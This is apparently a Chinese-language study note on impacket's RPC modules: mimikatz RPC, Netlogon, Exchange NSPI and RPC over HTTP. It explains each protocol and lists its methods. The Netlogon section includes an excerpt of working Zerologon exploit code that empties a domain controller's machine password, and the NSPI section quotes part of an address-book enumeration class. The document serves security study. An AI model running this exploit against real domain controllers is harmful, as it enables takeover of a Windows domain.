INTERNAL void inq_princ_name _DCE_PROTOTYPE_ ((
rpc_binding_handle_t /*binding_h*/,
unsigned32 /*authn_proto*/,
unsigned32 /*princ_name_size*/,
idl_char princ_name[],
unsigned32 * /*status*/
对各接口方法具体实现感兴趣的同学可以直接看c源码(https://fossies.org/dox/freedce-1.1.0.7/mgmt_8c_source.html)
mimilib.py — mimikatz RPC 接口(MimiCommand)
mimikatz定义了自己的rpc idl接口。https://github.com/gentilkiwi/mimikatz/blob/e10bde5b16b747dc09ca5146f93f2beaf74dd17a/mimicom.idl
import "ms-dtyp.idl";
[
uuid(17FC11E9-C258-4B8D-8D07-2F4125156244),
version(1.0)
]
interface MimiCom
{
typedef [context_handle] void* MIMI_HANDLE; // 会话上下文句柄:MimiBind 建立,后续调用携带
// 客户端与服务端在 MimiBind 中交换 Diffie-Hellman 公钥,
// 之后的 command 数据都用协商出的会话密钥加密传输
NTSTATUS MimiBind(
[in] handle_t rpc_handle,
[in, ref] PMIMI_PUBLICKEY clientPublicKey,
[out, ref] PMIMI_PUBLICKEY serverPublicKey,
[out, ref] MIMI_HANDLE *phMimi
);
......
NTSTATUS MimiCommand( // 核心方法:加密传输 mimikatz 命令并取回加密结果
[in, ref] MIMI_HANDLE phMimi,
[in] DWORD szEncCommand,
[in, size_is(szEncCommand), unique] BYTE *encCommand,
[out, ref] DWORD *szEncResult,
[out, size_is(, *szEncResult)] BYTE **encResult
);
......
};
mimilib模块实现了对应的接口方法
OPNUMS = {
0 : (MimiBind, MimiBindResponse),
1 : (MimiUnbind, MimiUnbindResponse),
2 : (MimiCommand, MimiCommandResponse),
}
注:mimikatz 的 IDL 中方法名为
MiniUnbind,而 impacket 实现中拼作MimiUnbind,这是两边源码各自的原始拼写,阅读时注意对应关系即可。
mimikatz 的 RPC 接口通过 Diffie-Hellman 密钥交换协商会话密钥,再用它加密 command 数据。与该接口通信,需要目标机器上运行 mimikatz 并执行 rpc::server 开启服务:
mimikatz # rpc::server
[MS-NRPC] nrpc.py — Netlogon 认证与 Zerologon(CVE-2020-1472)
这个协议从名字看就很眼熟——Zerologon(CVE-2020-1472)正是出在这个协议上。
Netlogon 远程协议是一个远程过程调用 (RPC) 接口,用于在基于域的网络上进行用户和机器身份验证。Netlogon 远程协议 RPC 接口还用于为备份域控制器 (BDC) 复制数据库。
Netlogon 远程协议用于维护从域成员到域控制器 (DC)、域的 DC 之间以及跨域的 DC 之间的域关系。此 RPC 接口用于发现和管理这些关系。
Netlogon 远程协议用于域中的计算机与域控制器 (DC)(域成员和 DC)之间的安全通信。通过使用在客户端和参与安全通信的 DC 之间计算的共享会话密钥来保护通信。会话密钥是通过使用客户端和 DC 已知的预配置共享密钥计算的。在 DC 上成功验证用户凭据后,Netlogon 远程协议通过安全通道将用户授权属性(称为用户验证信息)传送回服务器。

Netlogon 远程协议客户端和服务器只能在加入域的系统上运行,并在引导期间启动。当系统脱离域时,客户端和服务器将停止并且不会在引导期间启动。
用户账户可以位于服务器域以外的域中。在这种情况下,从服务器接收到登录请求的DC会将请求传递给用户账户域中的 DC。为了使这种情况起作用,服务器的域(称为资源域)和用户账户的域(称为账户域)建立信任关系,其中在账户域中做出的身份验证决策在资源域中是可信的。在这种信任关系中,资源域称为信任域(trusting domain),账户域称为受信任域(trusted domain)。信任关系由两个域的管理员建立。 信任建立的结果是共享秘密 (称为信任密码),DC 在两个域中使用该秘密来计算用于保护安全通道流量的会话密钥。通过使用这个安全通道,资源域中的DC可以将登录请求安全地传递给账户域中的DC,就像服务器将登录请求传递给原DC一样。通过信任关系连接的两个域中的DC之间的安全通道称为可信域安全通道。相反,资源域中服务器和DC之间的安全通道称为工作站安全通道。下图描述了一个透传认证过程,其中认证请求通过两个安全通道:从域 A 中的服务器到同域中的 DC,然后从该 DC 到域 B 中的 DC,这包含用户账户。

备份域控制器 (BDC) 是维护域账户数据库的完整副本并可以满足身份验证请求但不允许修改账户的域控制器。相反,域的 BDC 使用账户数据库复制方法从主域控制器 (PDC)复制账户数据库。为了安全地请求和传输复制数据,Netlogon 使用BDC 通过使用 BDC 的计算机账户密码与 PDC 建立的安全通道。这种类型的安全通道称为服务器安全通道。
基于共享秘密的通道的安全性取决于该共享值的保密性。良好的密码卫生要求这样的共享值不是永久的。该协议包括选择新密码并将其从客户端传送到DC的工具。这允许此协议的客户端实现在机器账户(如果请求来自工作站安全通道)或信任账户(如果请求来自受信任域安全通道)上设置新密码。
在某些应用场景中,可能需要获取域 信任列表。例如,收集用户凭据的应用程序可能需要提供可信域列表,用户可以从中选择他们的域。Netlogon 远程协议通过检索域信任信息的方法为此类应用程序提供服务。
某些应用程序可能需要验证它们发送到 DC 和从DC接收的消息。Netlogon 远程协议通过使用计算机账户或信任密码作为加密密钥计算消息的加密摘要的方法为此类应用程序提供服务。通过使用这些方法,在 DC 上运行的应用程序获取消息摘要并将其包含在对客户端的响应中。客户端上运行的应用程序接收到消息,获取消息摘要,并将摘要与从DC接收到的摘要进行比较。如果两个摘要相同,则客户端确定该消息确实是由 DC 发送的。
管理员可能需要控制或查询与 Netlogon 操作相关的行为。例如,管理员可能想要强制更改计算机账户密码,或者可能想要将安全通道重置为域中的特定DC。Netlogon 通过查询和控制服务器的方法提供此类管理服务。
Netlogon 客户端对域成员执行的第一个操作是在其域中查找 用于设置安全通道的DC。此过程称为 DC 发现。发现 DC 后,域成员将建立到 DC 的安全通道。 对于从客户端到 DC 的与身份验证有关的所有后续请求,Netlogon 远程协议使用安全通道传输请求。Netlogon 远程协议通过安全通道从 DC 接收用户验证数据,并将数据返回给身份验证协议。 操作系统可以定期使用 Netlogon 远程协议更改计算机账户密码。
收到登录请求后,Netlogon 确定正在验证的用户的账户域。Netlogon 确定用于向账户域发送请求的信任链接。Netlogon 在该链接上的受信任域中找到一个DC ,并使用受信任域的信任密码设置到该 DC的安全通道。Netlogon 将登录请求传递给该 DC。Netlogon 从该 DC 接收用户验证数据并将数据返回给发出登录请求的安全通道客户端。 Netlogon 将 BDC 账户数据库与PDC 账户数据库同步。 Netlogon 会定期更改 DC 的计算机账户密码。在 PDC 上,Netlogon 会定期更改所有直接受信任域的信任密码。
该协议使用端点 \PIPE\NETLOGON,接口 UUID 为 12345678-1234-ABCD-EF00-01234567CFFB。
客户端和服务器之间的会话密钥协商是在不受保护的RPC 通道上执行的。

会话密钥协商的工作方式如下。
客户端绑定到服务器上的远程 Netlogon RPC端点。然后客户端生成一个nonce,称为client challenge,并将客户端challenge作为NetrServerReqChallenge 方法调用的输入参数发送到服务器。
服务器接收客户端的NetrServerReqChallenge调用。服务器生成自己的随机数,称为服务器challenge (SC)。在响应客户端的NetrServerReqChallenge方法调用时,服务器将 SC 作为NetrServerReqChallenge的输出参数发送回客户端。客户端收到服务器的响应后,两台计算机都有彼此的challenge随机数(分别为客户端挑战和服务器挑战 (SC))。
客户端计算会话密钥(session key),并通过 NegotiateFlags 提供一组初始能力标志。
客户端通过使用客户端challenge作为credential计算算法的输入来计算其客户端 Netlogon凭证
客户端通过在NetrServerAuthenticate、 NetrServerAuthenticate2或NetrServerAuthenticate3 调用中将 client Netlogon credential作为 ClientCredential 输入参数传递,与服务器交换其客户端 Netlogon 凭据。
服务器接收NetrServerAuthenticate、NetrServerAuthenticate2或NetrServerAuthenticate3 调用并验证client Netlogon credential。它通过计算一个session key来实现这一点,复制client Netlogon credential计算,使用其存储的客户端challenge,并将此重新计算的结果与刚刚从客户端接收到的client Netlogon credential进行比较。如果比较失败,服务器必须在不进一步处理以下步骤的情况下使会话密钥协商失败。
如果客户端 challenge 的前 5 个字节并非互不相同(即存在重复字节,有弱密钥风险),会话密钥协商必须失败。
服务器通过使用服务器challenge作为凭证计算算法的输入来计算其服务器 Netlogon 凭证。服务器返回server Netlogon credential作为NetrServerAuthenticate、NetrServerAuthenticate2或NetrServerAuthenticate3调用的ServerCredential 输出参数。
客户端验证server Netlogon credential。它通过重新计算server Netlogon credential、使用其存储的服务器challenge并将此重新计算的结果与从服务器传回的server Netlogon credential进行比较来实现此目的。如果比较失败,客户端必须使session key协商失败。
在相互验证后,客户端和服务器同意使用计算出的会话密钥来加密和/或签署进一步的通信。
客户端调用NetrLogonGetCapabilities方法。
服务器应该返回当前交换的协商标志(negotiated flags)。
客户应该将接收到的ServerCapabilities与协商好的NegotiateFlag进行比较,如果有差异,则中止会话密钥协商。
客户端将ServerSessionInfo.LastAuthenticationTry(按服务器名称索引)设置为当前时间。这可以防止身份验证重试发生,除非收到新的传输通知。
在会话密钥协商的第一阶段 ( NetrServerReqChallenge ),客户端和服务器交换随机数。这允许客户端和服务器计算session key。为了提供相互身份验证,客户端和服务器都根据自己的随机数计算 Netlogon 凭据,使用计算出的 session key,并在会话密钥协商的第二阶段交换(NetrServerAuthenticate / NetrServerAuthenticate2 / NetrServerAuthenticate3)。 由于在第一阶段交换了随机数,这使得每一方都可以在本地计算对方的 Netlogon Credential,然后将其与收到的Credential进行比较。如果本地计算出的凭证与另一方提供的Credential相匹配,则向客户端和服务器证明双方有权访问共享机密。
作为会话密钥 协商的一部分,客户端和服务器使用NetrServerAuthenticate2 或NetrServerAuthenticate3的NegotiateFlags参数 来协商对以下选项的支持。客户端通过NegotiateFlags提供一组初始功能参数作为输入到服务器。然后服务器选择它可接受的能力。服务器支持的功能与客户端支持的功能通过执行位与运算相结合;操作结果作为输出返回给客户端
NegotiateFlags 各位含义如下(bit 0 为最低位):
Bit: 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
Flag: 0 Y X 0 0 0 0 0 W 0 0 V U T S R Q P O N M L K J I H G F E D C B A
| Option | Meaning |
|---|---|
| A | Not used. MUST be ignored on receipt. |
| B | Presence of this flag indicates that BDCs persistently try to update their database to the PDC's version after they get a notification indicating that their database is out-of-date. Server-to-server only. |
| C | Supports RC4 encryption. |
| D | Not used. MUST be ignored on receipt. |
| E | Supports BDCs handling CHANGELOGs. Server-to-server only. |
| F | Supports restarting of full synchronization between DCs. Server-to-server only. |
| G | Does not require ValidationLevel 2 for nongeneric passthrough. |
| H | Supports the NetrDatabaseRedo (Opnum 17) functionality (section 3.5.4.6.4). |
| I | Supports refusal of password changes. |
| J | Supports the NetrLogonSendToSam (Opnum 32) functionality. |
| K | Supports generic pass-through authentication. |
| L | Supports concurrent RPC calls. |
| M | Supports avoiding of user account database replication. Server-to-server only. |
| N | Supports avoiding of Security Authority database replication. Server-to-server only. |
| O | Supports strong keys. |
| P | Supports transitive trusts. |
| Q | Not used. MUST be ignored on receipt. |
| R | Supports the NetrServerPasswordSet2 functionality. |
| S | Supports the NetrLogonGetDomainInfo functionality. |
| T | Supports cross-forest trusts. |
| U | When this flag is negotiated between a client and a server, it indicates that the server ignores the NT4Emulator ADM element. |
| V | Supports RODC pass-through to different domains. |
| W | Supports Advanced Encryption Standard (AES) encryption (128 bit in 8-bit CFB mode) and SHA2 hashing as specified in sections 2.2.1.3.3, 3.1.4.3, 3.1.4.4, and 3.3. |
| X | Not used. MUST be ignored on receipt. |
| Y | Supports Secure RPC. |
会话密钥支持以下 3 种派生方式:AES、强密钥(strong key)、DES:
AES
ComputeSessionKey(SharedSecret, ClientChallenge,
ServerChallenge)
M4SS := MD4(UNICODE(SharedSecret))
CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS));
CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge));
CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge));
CALL SHA256Result(HashContext, SessionKey);
SET SessionKey to lower 16 bytes of the SessionKey;
强密钥(strong key)
SET zeroes to 4 bytes of 0
ComputeSessionKey(SharedSecret, ClientChallenge,
ServerChallenge)
M4SS := MD4(UNICODE(SharedSecret))
CALL MD5Init(md5context)
CALL MD5Update(md5context, zeroes, 4)
CALL MD5Update(md5context, ClientChallenge, 8)
CALL MD5Update(md5context, ServerChallenge, 8)
CALL MD5Final(md5context)
CALL HMAC_MD5(md5context.digest, md5context.digest length,
M4SS, length of M4SS, output)
SET Session-Key to output
DES
ComputeSessionKey(SharedSecret, ClientChallenge,
ServerChallenge)
M4SS := MD4(UNICODE(SharedSecret))
SET sum to ClientChallenge + ServerChallenge
SET k1 to lower 7 bytes of the M4SS
SET k2 to upper 7 bytes of the M4SS
CALL DES_ECB(sum, k1, &output1)
CALL DES_ECB(output1, k2, &output2)
SET Session-Key to output2
而 Zerologon 正是与 AES-CFB8 模式下 IV 固定为全零这一特性直接相关(详见下文分析)。


CFB 模式每一轮密文的计算方式:先将上一轮的密文(第一轮则为 IV)用 AES 加密,再与明文异或,得到本轮密文。第一轮没有上一轮密文,因此需要一个初始向量(IV)参与运算。
正如上面所说客户端调用NetrServerReqChallenge向服务端发送一个ClientChallenge,服务端向客户端返回送一个ServerChallenge,双方都利用client的hash、ClientChallenge、ServerChallenge计算一个session_key。客户端利用session_key和ClientChallenge计算一个ClientCredential。并发送给服务端进行校验。服务端也利用session_key和ClientChallenge去计算一个ClientCredential,如果值跟客户端发送过来的一致,就让客户端通过认证,这里指定flag为W,指定加密方式。

客户端 challenge 与 credential 可控、IV 固定为全零:服务端允许重复请求,平均 256 次即可命中使凭证校验通过的组合(challenge 与 credential 全为零时,AES-CFB8 下每次请求有 1/256 的概率通过校验,此时派生的 session key 也为全零)。之后利用 NetrServerPasswordSet2 方法即可将域控机器账户密码置空,导出 hash。注意完成后要把密码改回去,否则机器会脱域——原因是 AD 中存储的机器密码与本机 LSASS 中存储的密码不一致。
这里直接看下zerologon的利用代码
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
# 连接域控的 Netlogon 服务(EPM 解析端点 → connect → bind)
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# ① 核心:challenge 与 credential 全部置零
plaintext = b'\x00' * 8 # ClientChallenge = 0
ciphertext = b'\x00' * 8 # ClientCredential = 0
# 观察 Windows 10 客户端得到的标准 flags(含 AES),仅关闭签名/加密位
flags = 0x212fffff
serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
serverChallenge = serverChallengeResp['ServerChallenge']
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + '\x00', target_computer+"$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00', ciphertext, flags
)
assert server_auth['ErrorCode'] == 0 # ② 每次尝试 1/256 概率通过校验,失败则抛异常重试
......
IV = b'\x00'*16 # AES-CFB8 的 IV 固定全零
.....
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = ciphertext # 会话密钥为全零时,全零凭证即可通过后续校验
authenticator['Timestamp'] = b"\x00" * 4
# ③ 利用 NetrServerPasswordSet2 将机器账户密码置为空(ClearNewPassword 全零)
request = nrpc.NetrServerPasswordSet2()
request['PrimaryName'] = NULL
request['AccountName'] = target_computer + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['ComputerName'] = target_computer + '\x00'
request["Authenticator"] = authenticator
request["ClearNewPassword"] = b"\x00"*516
resp = rpc_con.request(request)
resp.dump()
return rpc_con
except Exception as e:
print(e)
def perform_attack(dc_handle, dc_ip, target_computer):
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
if rpc_con == None:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('\nSuccess! DC should now have the empty string as its machine password.')
else:
print('\nAttack failed. Target is probably patched.')
sys.exit(1)
MAX_ATTEMPTS = 2000
摘录说明:原 PoC 中还有大段注释掉的调试代码(NetrLogonGetCapabilities 试探、sessionKey 手动推导、NetrLogonSendToSam 等),与攻击链无关,此处略去。
代码将 challenge 和 credential 全部置零,重复请求直到认证成功,再通过 NetrServerPasswordSet2 将域控机器账户密码置空。每次尝试成功的概率为 1/256 且相互独立,运行 N 次至少成功一次的概率为 1-(255/256)**N,2000 次即 99.96%。
接下来我们来看下模块实现了netlogon的哪些方法
OPNUMS = {
0 : (NetrLogonUasLogon, NetrLogonUasLogonResponse),登录方法,已过时
1 : (NetrLogonUasLogoff, NetrLogonUasLogoffResponse),登出方法,已过时
2 : (NetrLogonSamLogon, NetrLogonSamLogonResponse),NetrLogonSamLogonWithFlags 方法的前身
3 : (NetrLogonSamLogoff, NetrLogonSamLogoffResponse),更新SAM账户的用户lastLogoff 属性。
4 : (NetrServerReqChallenge, NetrServerReqChallengeResponse),接收客户端挑战并返回服务器挑战(SC)。
5 : (NetrServerAuthenticate, NetrServerAuthenticateResponse),NetrServerAuthenticate3 方法的前身。
# 6 : (NetrServerPasswordSet, NetrServerPasswordSetResponse),
7 : (NetrDatabaseDeltas, NetrDatabaseDeltasResponse),返回在数据库序列号的特定值之后对SAM 数据库、SAM 内置数据库或LSA 数据库执行的一组更改(或增量)。BDC使用它从PDC请求BDC上缺少的数据库 更改。
8 : (NetrDatabaseSync, NetrDatabaseSyncResponse),NetrDatabaseSync2 方法的前身
# 9 : (NetrAccountDeltas, NetrAccountDeltasResponse),方法过时
# 10 : (NetrAccountSync, NetrAccountSyncResponse),方法过时
11 : (NetrGetDCName, NetrGetDCNameResponse),用于检索指定域的PDC的NetBIOS 名称。
12 : (NetrLogonControl, NetrLogonControlResponse),NetrLogonControl2Ex 方法的前身
13 : (NetrGetAnyDCName, NetrGetAnyDCNameResponse),用于检索指定主域或直接信任域中域控制器的名称 。只有 DC 可以返回指定的直接信任域中的 DC 的名称。
14 : (NetrLogonControl2, NetrLogonControl2Response),NetrLogonControl2Ex 方法的前身
15 : (NetrServerAuthenticate2, NetrServerAuthenticate2Response),是NetrServerAuthenticate3 方法的前身
16 : (NetrDatabaseSync2, NetrDatabaseSync2Response),返回一组自创建以来应用于指定数据库的所有更改。它为 BDC 提供了一个接口,使其数据库与PDC的数据库完全同步. 由于要返回大量数据,因此在一次调用中返回所有更改可能会非常昂贵,因此此方法支持使用连续上下文在一系列调用中检索部分数据库更改,直到收到所有更改。由于系统重启等外部事件,一系列调用可能会提前终止。因此,该方法还支持在调用者指定的特定点重新启动一系列调用。调用者必须在本节详述的一系列调用期间跟踪同步进度。
17 : (NetrDatabaseRedo, NetrDatabaseRedoResponse),由备份域控制器 (BDC)使用以从PDC请求有关单个账户的信息。
18 : (NetrLogonControl2Ex, NetrLogonControl2ExResponse),用于查询状态和控制 Netlogon 服务器
19 : (NetrEnumerateTrustedDomains, NetrEnumerateTrustedDomainsResponse),返回一组可信域的NetBIOS名称。
20 : (DsrGetDcName, DsrGetDcNameResponse),DsrGetDcNameEx2 方法的前身
21 : (NetrLogonGetCapabilities, NetrLogonGetCapabilitiesResponse),客户端使用NetrLogonGetCapabilities方法在建立安全通道后确认服务器功能
22 : (NetrLogonSetServiceBits, NetrLogonSetServiceBitsResponse),用于通知 Netlogon域控制器是否正在运行指定的服务
23 : (NetrLogonGetTrustRid, NetrLogonGetTrustRidResponse),用于从接收此调用的服务器获取指定域中的域控制器 用于建立安全通道 的密码的账户的RID 。
24 : (NetrLogonComputeServerDigest, NetrLogonComputeServerDigestResponse),使用 MD5 消息摘要算法计算消息的加密摘要,此方法由服务端调用以计算消息摘要
25 : (NetrLogonComputeClientDigest, NetrLogonComputeClientDigestResponse),使用 MD5 消息摘要算法计算消息的加密摘要,此方法由客户端调用以计算消息摘要
26 : (NetrServerAuthenticate3, NetrServerAuthenticate3Response),对客户端和服务器进行相互认证,建立会话密钥,用于客户端和服务器之间的安全通道 消息保护。它在NetrServerReqChallenge 方法之后调用
27 : (DsrGetDcNameEx, DsrGetDcNameExResponse),DsrGetDcNameEx2方法的前身
28 : (DsrGetSiteName, DsrGetSiteNameResponse),返回接收此调用的指定计算机的站点 名称
29 : (NetrLogonGetDomainInfo, NetrLogonGetDomainInfoResponse),返回描述指定客户端所属的当前域的信息
30 : (NetrServerPasswordSet2, NetrServerPasswordSet2Response),允许客户端为域控制器使用的账户设置一个新的明文密码,用于从客户端 建立安全通道。域成员应该使用此功能定期更改其机器账户密码。PDC使用此功能定期更改所有直接受信任 域的信任密码。
31 : (NetrServerPasswordGet, NetrServerPasswordGetResponse),允许 BDC 从域中具有PDC角色的 DC 获取机器账户密码
32 : (NetrLogonSendToSam, NetrLogonSendToSamResponse),允许 BDC 或RODC 将用户账户密码更改转发给PDC。它应该被客户端用来向服务器端的SAM数据库传送一个不透明的缓冲区。
33 : (DsrAddressToSiteNamesW, DsrAddressToSiteNamesWResponse),将套接字地址列表翻译成它们相应的站点名称
34 : (DsrGetDcNameEx2, DsrGetDcNameEx2Response),返回有关指定域和站点中的域控制器 (DC)的信息。如果AccountName 参数不为 NULL,并且匹配所请求功能(如Flags参数中定义)的 DC 在此方法调用期间响应,则该 DC 将验证 DC 账户数据库包含指定AccountName的账户 。接收此调用的服务器不需要是 DC。
35 : (NetrLogonGetTimeServiceParentDomain, NetrLogonGetTimeServiceParentDomainResponse),返回当前域的父域名称。该方法返回的域名适合传入NetrLogonGetTrustRid 方法和NetrLogonComputeClientDigest 方法。
36 : (NetrEnumerateTrustedDomainsEx, NetrEnumerateTrustedDomainsExResponse),返回 来自指定服务器的可信 域列表
37 : (DsrAddressToSiteNamesExW, DsrAddressToSiteNamesExWResponse),将套接字地址列表翻译成它们相应的站点名称和子网名称
38 : (DsrGetDcSiteCoverageW, DsrGetDcSiteCoverageWResponse),返回域控制器 覆盖的站点列表
39 : (NetrLogonSamLogonEx, NetrLogonSamLogonExResponse),提供对NetrLogonSamLogon的扩展
40 : (DsrEnumerateDomainTrusts, DsrEnumerateDomainTrustsResponse),从指定的服务器返回域信任的枚举列表
41 : (DsrDeregisterDnsHostRecords, DsrDeregisterDnsHostRecordsResponse),应该删除 指定域控制器注册的所有DNS SRV记录
42 : (NetrServerTrustPasswordsGet, NetrServerTrustPasswordsGetResponse),返回域中账户的加密当前和以前的密码。客户端调用此方法以从域控制器检索当前和以前的账户密码
43 : (DsrGetForestTrustInformation, DsrGetForestTrustInformationResponse),检索指定域控制器 (DC)的林或受指定 DC 的林信任的林的信任信息
44 : (NetrGetForestTrustInformation, NetrGetForestTrustInformationResponse),检索成员域本身是其成员的林的信任 信息
45 : (NetrLogonSamLogonWithFlags, NetrLogonSamLogonWithFlagsResponse),处理 SAM 账户的登录请求
46 : (NetrServerGetTrustInfo, NetrServerGetTrustInfoResponse),从指定的服务器返回一个信息块。该信息包括特定账户的加密当前和以前的密码以及其他信任数据。
# 48 : (DsrUpdateReadOnlyServerDnsRecords, DsrUpdateReadOnlyServerDnsRecordsResponse),
# 49 : (NetrChainSetClientAttributes, NetrChainSetClientAttributesResponse),
}
[MS-NSPI / MS-OXNSPI] nspi.py — Exchange 地址簿协议
名称服务提供者接口 (NSPI) 协议为消息传递客户端提供了一种访问和操作服务器存储的寻址数据的方法。
模块实现了如下方法
OPNUMS = {
MS-OXNSPI / MS-NSPI 共有:
0 : (NspiBind, NspiBindResponse),方法启动客户端和服务器之间的会话
1 : (NspiUnbind, NspiUnbindResponse),方法破坏上下文句柄。
2 : (NspiUpdateStat, NspiUpdateStatResponse),方法更新表示表中位置的STAT块 ,以反映客户端请求的定位更改。
3 : (NspiQueryRows, NspiQueryRowsResponse),向客户端返回指定表中的一些行。尽管协议对服务器返回的最小行数没有限制或要求,实现应该返回尽可能多的行以提高服务器对客户端的可用性。
4 : (NspiSeekEntries, NspiSeekEntriesResponse),方法搜索并将特定表中的逻辑位置设置为大于或等于指定值的第一个条目。或者,它也可能返回有关表中行的信息。
# 5 : (NspiGetMatches, NspiGetMatchesResponse),
# 6 : (NspiResortRestriction, NspiResortRestrictionResponse),
7 : (NspiDNToMId, NspiDNToMIdResponse),将一组DN映射 到一组最小条目 ID
8 : (NspiGetPropList, NspiGetPropListResponse),方法返回在指定对象上具有值的所有属性的列表
9 : (NspiGetProps, NspiGetPropsResponse),方法返回地址簿行,其中包含对象上存在的一组属性和值
10 : (NspiCompareMIds, NspiCompareMIdsResponse),方法比较最小条目 ID标识的两个对象在地址簿容器中的位置,并返回比较值
# 11 : (NspiModProps, NspiModPropsResponse),
12 : (NspiGetSpecialTable, NspiGetSpecialTableResponse),方法将特殊表的行返回给客户端。特殊表可以是通讯录层级表或地址创建表
13 : (NspiGetTemplateInfo, NspiGetTemplateInfoResponse),方法返回有关地址簿中模板对象的信息。
14 : (NspiModLinkAtt, NspiModLinkAttResponse),方法修改地址簿中特定行的特定属性的值。本协议只支持修改显示类型为DT_DISTLIST的通讯录对象的PidTagAddressBookMember 属性和通讯录的PidTagAddressBookPublicDelegates 属性的值显示类型为 DT_MAILUSER 的对象。
# 15 : (NspiDeleteEntries, NspiDeleteEntriesResponse),
16 : (NspiQueryColumns, NspiQueryColumnsResponse),方法返回服务器知道的所有属性的列表。它将此列表作为 proptags 数组返回
仅 MS-NSPI:
17 : (NspiGetNamesFromIDs, NspiGetNamesFromIDsResponse), 方法返回一组proptags的属性名称列表。
18 : (NspiGetIDsFromNames, NspiGetIDsFromNamesResponse),返回一组属性名称的proptags列表。
19 : (NspiResolveNames, NspiResolveNamesResponse),方法采用 8 位字符集中的一组字符串值,并对这些字符串执行ANR
20 : (NspiResolveNamesW, NspiResolveNamesWResponse),方法采用Unicode 字符集中的一组字符串值,并对这些字符串执行ANR(模糊名称解析)。
}
该接口主要结合 Exchange 使用,通过 NSPI 接口函数获取邮箱及账号信息:
# eg./examples/exchanger.py
class NSPIAttacks(Exchanger):
......
def update_stat(self, table_MId):
stat = nspi.STAT()
stat['CodePage'] = CP_TELETEX
stat['ContainerID'] = NSPIAttacks._int_to_dword(table_MId)
resp = nspi.hNspiUpdateStat(self.__dce, self.__handler, stat)
self.stat = resp['pStat']
def load_htable(self):
resp = nspi.hNspiGetSpecialTable(self.__dce, self.__handler)
resp_simpl = nspi.simplifyPropertyRowSet(resp['ppRows'])
self._parse_and_set_htable(resp_simpl)
def load_htable_stat(self):
for MId in self.htable:
self.update_stat(MId)
self.htable[MId]['count'] = self.stat['TotalRecs']
self.htable[MId]['start_mid'] = self.stat['CurrentRec']
......
[MS-OXABREF] oxabref.py — 地址簿 NSPI 引用协议
指定地址簿名称服务提供商接口 (NSPI) 引用协议,该协议将客户端地址簿请求重定向到适当的地址簿服务器。MS-OXNSPI 是 Outlook 用来访问地址簿的协议之一。MS-OXABREF是它的辅助协议,用来获取具体的RPC Server名称,通过RPC Proxy连接到它,使用主协议。
模块实现了两个方法
OPNUMS = {
0 : (RfrGetNewDSA, RfrGetNewDSAResponse),方法返回NSPI 服务器或服务器数组的名称
1 : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse),方法返回与传递的DN对应的服务器的域名系统 (DNS) FQDN
}
目前未发现公开利用脚本或已知漏洞涉及该接口。
[MS-RPCH] rpch.py — RPC over HTTP v2(Exchange 中继面)
使用 HTTP 或 HTTPS 作为远程过程调用 (RPC) 协议的传输,RPC over HTTP。
RPC over HTTP 协议包含以下规定以满足使用 HTTP 的那些要求:
- 使用虚拟通道的双工通信。
- 通过从消息正文中递增地发送内容来流式传输语义。
- 使用一系列 HTTP 请求或 HTTP 响应而不是使用分块传输编码的无限数据流
RPC over HTTP 协议有两种主要的协议:
RPC over HTTP v1 (通过混合代理通信)

RPC over HTTP v2(分为入站代理和出站代理)

客户端尝试使用和不使用 HTTP 代理发送消息。如果它在没有使用 HTTP 代理的情况下获得响应,则它不会使用 HTTP 代理进行后续通信。如果它仅通过使用 HTTP 代理获得响应,则它使用 HTTP 代理进行后续通信。
即使入站代理和出站代理角色在同一网络节点上运行,此处定义的角色也会被保留。但是,该协议并不假定入站代理和出站代理驻留在同一网络节点上。负载平衡和集群技术等可能导致入站代理和出站代理在不同的网络节点上运行
RPC PDU 在概念上被 RPC over HTTP 协议视为一个有序序列或 PDU 流,可以从 RPC 客户端传输到 RPC 服务器或从 RPC 服务器传输到 RPC 客户端。此协议不修改或使用 RPC PDU。此规则的唯一例外是使用 HTTPS 和RPC over HTTP v2时。在这种情况下,当在 HTTP 客户端和入站代理或出站代理之间传输时,RPC PDU 将在HTTP 客户端加密,并在入站或出站代理处解密。
模块主要实现了RPC over HTTP v2协议的相关函数
def hCONN_A1(virtualConnectionCookie=EMPTY_UUID, outChannelCookie=EMPTY_UUID, receiveWindowSize=262144):
#CONN/A1 RTS PDU 必须从客户端发送到 OUT 通道上的出站代理,以启动虚拟连接的建立。
def hCONN_B1(virtualConnectionCookie=EMPTY_UUID, inChannelCookie=EMPTY_UUID, associationGroupId=EMPTY_UUID):
#CONN/B1 RTS PDU 必须从客户端发送到 IN 通道上的入站代理,以启动虚拟连接的建立。
def hFlowControlAckWithDestination(destination, bytesReceived, availableWindow, channelCookie):
#FlowControlAckWithDestination RTS PDU 必须从任何接收方发送到其发送方
def hPing():
#Ping RTS PDU 应该从客户端发送到入站代理,并从出站代理发送到客户端。
并实现了一个rpc客户端代理类用来与rpc服务器通信
要使用 RPC over HTTP,需提供地址和端口,使用格式 /rpc/rpcproxy.dll?RemoteName:RemotePort。默认 ACL 依赖 RemoteName,在注册表 HKLM\SOFTWARE\Microsoft\Rpc\RpcProxy 键中指定:
# eg.ValidPorts REG_SZ COMPANYSERVER04:593;COMPANYSERVER04:49152-65535
